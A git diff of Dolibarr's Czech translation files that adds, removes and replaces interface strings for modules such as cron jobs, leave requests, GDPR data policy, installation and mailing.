subjektu) tu, na kterou chcete přesunout tuto službu? -PaymentRenewContractId=Obnovit smlouvu na řádku (číslo %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Datum expirace NoExpiredServices=Žádné expirované aktivní služby ListOfServicesToExpireWithDuration=Seznam služeb, které expirují v %s dnů @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Podepsání smlouvy kontakt se zákazn HideClosedServiceByDefault=Ve výchozím nastavení skrýt uzavřené služby ShowClosedServices=Zobrazit uzavřené služby HideClosedServices=Skrýt uzavřené služby +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/cs_CZ/cron.lang b/htdocs/langs/cs_CZ/cron.lang index c80ccf3a33b..fe8ade17b80 100644 --- a/htdocs/langs/cs_CZ/cron.lang +++ b/htdocs/langs/cs_CZ/cron.lang @@ -26,7 +26,7 @@ CronCommand=Příkaz CronList=Naplánované úlohy CronDelete=Smazat naplánované úlohy CronConfirmDelete=Jste si jisti, že chcete odstranit tyto naplánované úlohy? -CronExecute=Spuštění naplánovaných úloh +CronExecute=Launch now CronConfirmExecute=Jste si jisti, že chcete provést tyto naplánované úlohy nyní? CronInfo=Plánovací modul úloh umožňuje naplánovat úlohy, které se mají automaticky spouštět. Práce lze také spustit ručně. CronTask=Práce @@ -58,7 +58,7 @@ CronNote=Komentář CronFieldMandatory=Pole %s je povinné CronErrEndDateStartDt=Datum ukončení nemůže být před datem zahájení StatusAtInstall=Stav při instalaci modulu -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Zakázat CronTaskInactive=This job is disabled (not scheduled) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Chcete-li zobrazit a upravit naplánované úloh JobDisabled=Úloha vypnuta MakeLocalDatabaseDumpShort=Záloha lokální databáze MakeLocalDatabaseDump=Vytvoření výpisu místní databáze. Parametry jsou: komprese ('gz' nebo 'bz' nebo 'none'), zálohovací typ ('mysql', 'pgsql', 'auto'), +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Pozor, pokud jde o výkonnost, bez ohledu na to, co je příštím datem provedení povolených úloh, mohou být vaše úlohy zpožděny maximálně do %s hodin, než budou spuštěny. DATAPOLICYJob=Čistič dat a anonymizér JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/cs_CZ/datapolicy.lang b/htdocs/langs/cs_CZ/datapolicy.lang new file mode 100644 index 00000000000..86620d54a7e --- /dev/null +++ b/htdocs/langs/cs_CZ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Zákazník +DATAPOLICY_TIERS_PROSPECT = Cíl +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dodavatel +DATAPOLICY_CONTACT_CLIENT = Zákazník +DATAPOLICY_CONTACT_PROSPECT = Cíl +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dodavatel +DATAPOLICY_ADHERENT = Člen +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/cs_CZ/dict.lang b/htdocs/langs/cs_CZ/dict.lang index 21f4629488c..78b7e9d1fc0 100644 --- a/htdocs/langs/cs_CZ/dict.lang +++ b/htdocs/langs/cs_CZ/dict.lang @@ -21,7 +21,7 @@ CountryNL=Nizozemsko CountryHU=Maďarsko CountryRU=Rusko CountrySE=Švédsko -CountryCI=Ivoiry +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Svatý Martin ##### Civilities ##### CivilityMME=Paní +CivilityMMEShort=Paní CivilityMR=Pan +CivilityMRShort=Pan CivilityMLE=Slečna CivilityMTRE=Hlavní CivilityDR=Lékař diff --git a/htdocs/langs/cs_CZ/ecm.lang b/htdocs/langs/cs_CZ/ecm.lang index d28e1ae4d47..c3e1db73034 100644 --- a/htdocs/langs/cs_CZ/ecm.lang +++ b/htdocs/langs/cs_CZ/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manuální adresář ECMSectionAuto=Automatický adresář ECMSectionsManual=Ruční strom ECMSectionsAuto=Automatický strom +ECMSectionsMedias=Medias tree ECMSections=Adresáře ECMRoot=Kořen ECM ECMNewSection=Nový adresář @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Počet souborů v podadresářích ECMCreationUser=Tvůrce ECMArea=Oblast DMS/ECM ECMAreaDesc=DMS/ECM (Document Management System / Electronic Content Management) umožňuje rychle ukládat, sdílet a vyhledávat všechny dokumenty v Dolibarru. -ECMAreaDesc2=* Automatické adresáře jsou vyplněny automaticky při přidávání dokumentů z karty prvku.
      * Manuální adresáře lze použít k uložení dokladů, které nejsou spojené s konkrétním prvkem. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Rejstřík %s byl vymazán. ECMSectionWasCreated=Adresář %s byl vytvořen. ECMSearchByKeywords=Vyhledávání podle klíčových slov diff --git a/htdocs/langs/cs_CZ/holiday.lang b/htdocs/langs/cs_CZ/holiday.lang index a295166d4a6..f50dd4560e1 100644 --- a/htdocs/langs/cs_CZ/holiday.lang +++ b/htdocs/langs/cs_CZ/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Listy +Holidays=Leaves +Holiday=Dovolená CPTitreMenu=Dovolená MenuReportMonth=Měsíční výkaz MenuAddCP=Nová žádost o dovolenou +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Chcete-li zobrazit tuto stránku, musíte povolit modul Nechat. AddCP=Požádejte o dovolenou DateDebCP=Datum zahájení @@ -56,6 +58,7 @@ ConfirmDeleteCP=Potvrďit odstranění této žádosti o dovolenou? ErrorCantDeleteCP=Chyba: Nemáte oprávnění smazat tuto žádost o dovolenou. CantCreateCP=Nemáte právo podávat žádosti o dovolenou. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Musíte vybrat počáteční datum. NoDateFin=Musíte vybrat datum ukončení. ErrorDureeCP=Vaše žádost o dovolenou neobsahuje pracovní den. @@ -79,6 +82,8 @@ MotifCP=Důvod UserCP=Uživatel ErrorAddEventToUserCP=Došlo k chybě při přidávání požadavku na výjimečnou dovolenou. AddEventToUserOkCP=Přidání výjimečné dovolené bylo dokončeno. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Zobrazení protokolů změn LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Předchozí zůstatek NewSoldeCP=Nový zůstatek alreadyCPexist=Žádost o dovolenou pro toto období již byla provedena. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Skupiny +users=Uživatelé +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Nejnovější %s upravené žádosti o dovolenou @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/cs_CZ/install.lang b/htdocs/langs/cs_CZ/install.lang index 7723af4ffbd..43a7f937cf4 100644 --- a/htdocs/langs/cs_CZ/install.lang +++ b/htdocs/langs/cs_CZ/install.lang @@ -51,7 +51,6 @@ DatabaseName=Název databáze DatabasePrefix=Předpona - prefix tabulek v databázi DatabasePrefixDescription=Databáze tabulky prefix. Pokud je prázdný, defaultní hodnota je llx_. AdminLogin=Uživatelský účet pro vlastníka Dolibarr database. -PasswordAgain=Zopakujte potvrzení hesla AdminPassword=Heslo pro vlastníka databáze Dolibarr. CreateDatabase=Vytvořit databázi CreateUser=Vytvořte uživatelský účet nebo udělte uživatelskému účtu oprávnění pro databázi Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Již existuje DolibarrAdminLogin=Login Dolibarr administrátora AdminLoginAlreadyExists=Účet administrátora Dolibarru '%s' již existuje. Běžte zpět, pro vytvoření jiného účtu. FailedToCreateAdminLogin=Nepodařilo se vytvořit administrátorský účet Dolibarru. -WarningRemoveInstallDir=Varování, z bezpečnostních důvodů, jakmile instalace nebo upgrade je dokončen, měli byste přidat soubor s názvem install.lock v adresáři dokumentů Dolibarr. Předejdete nechtěnému/škodlivému spuštění instalace nástrojů. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Není k dispozici na této instalaci PHP ChoosedMigrateScript=Vyberte migrační skript DataMigration=Migrace databáze (data) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Skrýt nedostupné možnosti ErrorFoundDuringMigration=Byly hlášeny chyb(a)y během procesu migrace, takže další krok není k dispozici. Chcete-li ignorovat chyby, můžete kliknout zde , ale aplikace nebo některé funkce nemusí pracovat správně, dokud nejsou chyby vyřešeny. YouTryInstallDisabledByDirLock=Aplikace se pokoušela samoinnicializovat, ale stránky pro instalaci / upgrade byly pro zabezpečení zakázány (adresář byl přejmenován na příponu .lock).
      YouTryInstallDisabledByFileLock=Aplikace se pokoušela o vlastní inovaci, ale stránky s instalací / upgradem byly zakázány z důvodu zabezpečení (existence souboru zámku install.lock v adresáři dokumentů dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Kliknutím sem přejdete do aplikace ClickOnLinkOrRemoveManualy=Pokud probíhá aktualizace, počkejte prosím. Pokud ne, klikněte na následující odkaz. Pokud vždy vidíte stejnou stránku, musíte odebrat / přejmenovat soubor install.lock v adresáři dokumentů. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Načteno FunctionTest=Test funkce +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/cs_CZ/interventions.lang b/htdocs/langs/cs_CZ/interventions.lang index 5bebd024405..cd70f4bd6b6 100644 --- a/htdocs/langs/cs_CZ/interventions.lang +++ b/htdocs/langs/cs_CZ/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Skryje hodiny a minuty z data pole pro zásahové InterventionStatistics=Statistiky intervencí NbOfinterventions=Počet zásahových karet NumberOfInterventionsByMonth=Počet intervenčních karet podle měsíce (datum platnosti) -AmountOfInteventionNotIncludedByDefault=Částka intervence není zahrnutá do výkazu zisku (ve většině případů se časové pásmo používá k počítání vynaloženého času). Přidejte možnost PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT na hodnotu 1 do domova-nastavení-jiné, abyste je zahrnovali. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=intervence id InterRef=Intervence ref. InterDateCreation=Datum vytvoření intervence @@ -66,3 +66,7 @@ RepeatableIntervention=Šablona intervence ToCreateAPredefinedIntervention=Chcete-li vytvořit předdefinovaný nebo opakující se zásah, vytvořte společný zásah a převeďte jej na intervenční šablonu ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/cs_CZ/loan.lang b/htdocs/langs/cs_CZ/loan.lang index 6811cae63d8..119e6342ac7 100644 --- a/htdocs/langs/cs_CZ/loan.lang +++ b/htdocs/langs/cs_CZ/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Pokud používáte plán, nemůžete změnit zájem # Admin ConfigLoan=Konfigurace modulu úvěru -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Účetní účetní kapitál ve výchozím nastavení -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Účetní účetní zájem implicitně -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Účetní účetní pojištění implicitně +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Úprava finančního závazku diff --git a/htdocs/langs/cs_CZ/mailmanspip.lang b/htdocs/langs/cs_CZ/mailmanspip.lang index 7a570e7529d..9c2ac8fc62e 100644 --- a/htdocs/langs/cs_CZ/mailmanspip.lang +++ b/htdocs/langs/cs_CZ/mailmanspip.lang @@ -3,11 +3,11 @@ MailmanSpipSetup=Pošťák a SPIP modul nastavení MailmanTitle=Pošťák mailing list systém TestSubscribe=Chcete-li vyzkoušet předplatné pošťák seznamy TestUnSubscribe=Chcete-li otestovat odhlásit ze seznamu listonoš -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully +MailmanCreationSuccess=Test odběru byl úspěšně proveden +MailmanDeletionSuccess=Test odhlášení byl úspěšně proveden SynchroMailManEnabled=Pošťák aktualizace bude provedena SynchroSpipEnabled=Aktualizace SPIPu bude provedena -DescADHERENT_MAILMAN_ADMINPW=Pošťák heslo správce +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Pošťák heslo správce DescADHERENT_MAILMAN_URL=URL pro pošťáka předplatné DescADHERENT_MAILMAN_UNSUB_URL=URL pro pošťáka unsubscriptions DescADHERENT_MAILMAN_LISTS=Seznam (y) pro automatické nápis nových členů (oddělené čárkou) @@ -23,5 +23,5 @@ DeleteIntoSpip=Smazat z SPIP DeleteIntoSpipConfirmation=Jste si jisti, že chcete odstranit tohoto člena z SPIP? DeleteIntoSpipError=Nepodařilo se potlačit uživateli SPIP SPIPConnectionFailed=Nepodařilo se připojit k SPIPu -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +SuccessToAddToMailmanList=%s úspěšně přidáno do mailman listu %s nebo databáze SPIP +SuccessToRemoveToMailmanList=%s byl úspěšně odstraněn z mailman listu %s nebo databáze SPIP diff --git a/htdocs/langs/cs_CZ/mails.lang b/htdocs/langs/cs_CZ/mails.lang index 8341a08ceae..82d4ebcb7a6 100644 --- a/htdocs/langs/cs_CZ/mails.lang +++ b/htdocs/langs/cs_CZ/mails.lang @@ -7,10 +7,10 @@ MailCard=E-mailová karta MailRecipients=Příjemci MailRecipient=Příjemce MailTitle=Popis -MailFrom=Odesílatel +MailFrom=Z MailErrorsTo=Chyby MailReply=Odpovědět -MailTo=Příjemce(i) +MailTo=Na MailToUsers=Uživateli (uživatelům) MailCC=Kopírovat do MailToCCUsers=Kopírovat uživatele (e) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Kontakty podle pozice MailingModuleDescEmailsFromFile=Emaily ze souboru MailingModuleDescEmailsFromUser=Emaily zadávané uživatelem MailingModuleDescDolibarrUsers=Uživatelé s e-maily -MailingModuleDescThirdPartiesByCategories=Subjekty (podle kategorií) +MailingModuleDescThirdPartiesByCategories=Subjekty SendingFromWebInterfaceIsNotAllowed=Odesílání z webového rozhraní není povoleno. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/cs_CZ/main.lang b/htdocs/langs/cs_CZ/main.lang index 3c96294a8fa..8ddc04c49f2 100644 --- a/htdocs/langs/cs_CZ/main.lang +++ b/htdocs/langs/cs_CZ/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Pro tento typ e-mailu není k dispozici žádná šablona AvailableVariables=K dispozici substituční proměnné NoTranslation=Překlad není Translation=Překlad +Translations=Translations CurrentTimeZone=Časové pásmo PHP (server) EmptySearchString=Zadejte neprázdná kritéria vyhledávání EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Platný Approve=Schvalovat Disapprove=Neschváleno ReOpen=Znovu otevřít +OpenVerb=Otevřeno Upload=Nahrát ToLink=Odkaz Select=Vybrat @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Žádná uživatelská skupina není definována Password=Heslo -PasswordRetype=Zadejte znovu heslo +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Všimněte si, že v této demonstraci je mnoho funkcí / modulů zakázáno. +YourUserFile=Your user file Name=Název NameSlashCompany=Název / společnost Person=Osoba @@ -481,6 +490,7 @@ ActionsOnContact=Události pro tento kontakt / adresu ActionsOnContract=Události pro tuto smlouvu ActionsOnMember=Akce u tohoto uživatele ActionsOnProduct=Události týkající se tohoto produktu +ActionsOnAsset=Events for this fixed asset NActionsLate=%s pozdě ToDo=Dělat Completed=Dokončeno @@ -888,6 +898,9 @@ MassFilesArea=Plocha pro soubory postavený masových akcí ShowTempMassFilesArea=Show area souborů postavený masových akcí ConfirmMassDeletion=Hromadné smazání potvrzení ConfirmMassDeletionQuestion=Opravdu chcete odstranit vybraný záznam(y) %s? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Související objekty ClassifyBilled=Označit jako účtováno ClassifyUnbilled=Zařadit nevyfakturované @@ -903,8 +916,8 @@ ExportFilteredList=Export filtrovaný seznam ExportList=seznam export ExportOptions=Možnosti exportu IncludeDocsAlreadyExported=Zahrnout již exportované dokumenty -ExportOfPiecesAlreadyExportedIsEnable=Export již exportovaných kusů je povolen -ExportOfPiecesAlreadyExportedIsDisable=Export již exportovaných kusů je zakázán +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Všechny exportované pohyby byly zaznamenány jako exportované NotAllExportedMovementsCouldBeRecordedAsExported=Ne všechny exportované pohyby nelze zaznamenat jako exportované Miscellaneous=Smíšený @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Stažení DownloadDocument=Stáhnout dokument +DownloadSignedDocument=Download signed document ActualizeCurrency=Aktualizovat měnovou sazbu Fiscalyear=Fiskální rok ModuleBuilder=Tvůrce modulů a aplikací @@ -1046,6 +1060,7 @@ SearchIntoContracts=Smlouvy SearchIntoCustomerShipments=zásilky zákazník SearchIntoExpenseReports=Zpráva výdajů SearchIntoLeaves=Listy +SearchIntoKM=Knowledge base SearchIntoTickets=Vstupenky SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Platby dodavatele @@ -1117,6 +1132,7 @@ DeleteFileText=Opravdu chcete tento soubor odstranit? ShowOtherLanguages=Zobrazit další jazyky SwitchInEditModeToAddTranslation=Přepnutím v režimu úprav přidáte překlady do tohoto jazyka NotUsedForThisCustomer=Nepoužívá se pro tohoto zákazníka +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=Informace @@ -1137,15 +1153,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=Pozdržen Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Sazba +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1204,21 @@ Terminated=ukončený AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interní uživatel +ExternalUser=Externí uživatel +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/cs_CZ/members.lang b/htdocs/langs/cs_CZ/members.lang index 80249603e87..968cd40320b 100644 --- a/htdocs/langs/cs_CZ/members.lang +++ b/htdocs/langs/cs_CZ/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Další člen (jméno: %s, p ErrorUserPermissionAllowsToLinksToItselfOnly=Z bezpečnostních důvodů musíte mít oprávnění k úpravě všech uživatelů, abyste mohli člena propojit s uživatelem, který není vaším. SetLinkToUser=Odkaz na uživateli Dolibarr SetLinkToThirdParty=Odkaz na Dolibarr subjektu +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Seznam členů MembersListToValid=Seznam členů návrhu (bude ověřeno) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Nový člen @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Typ člena nelze smazat NewSubscription=Nový příspěvek NewSubscriptionDesc=Tento formulář umožňuje zaznamenat vaše předplatné jako nový člen nadace. Chcete-li obnovit předplatné (pokud je již členem), kontaktujte nadační místo místo e-mailem %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Trvání +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Pozdě 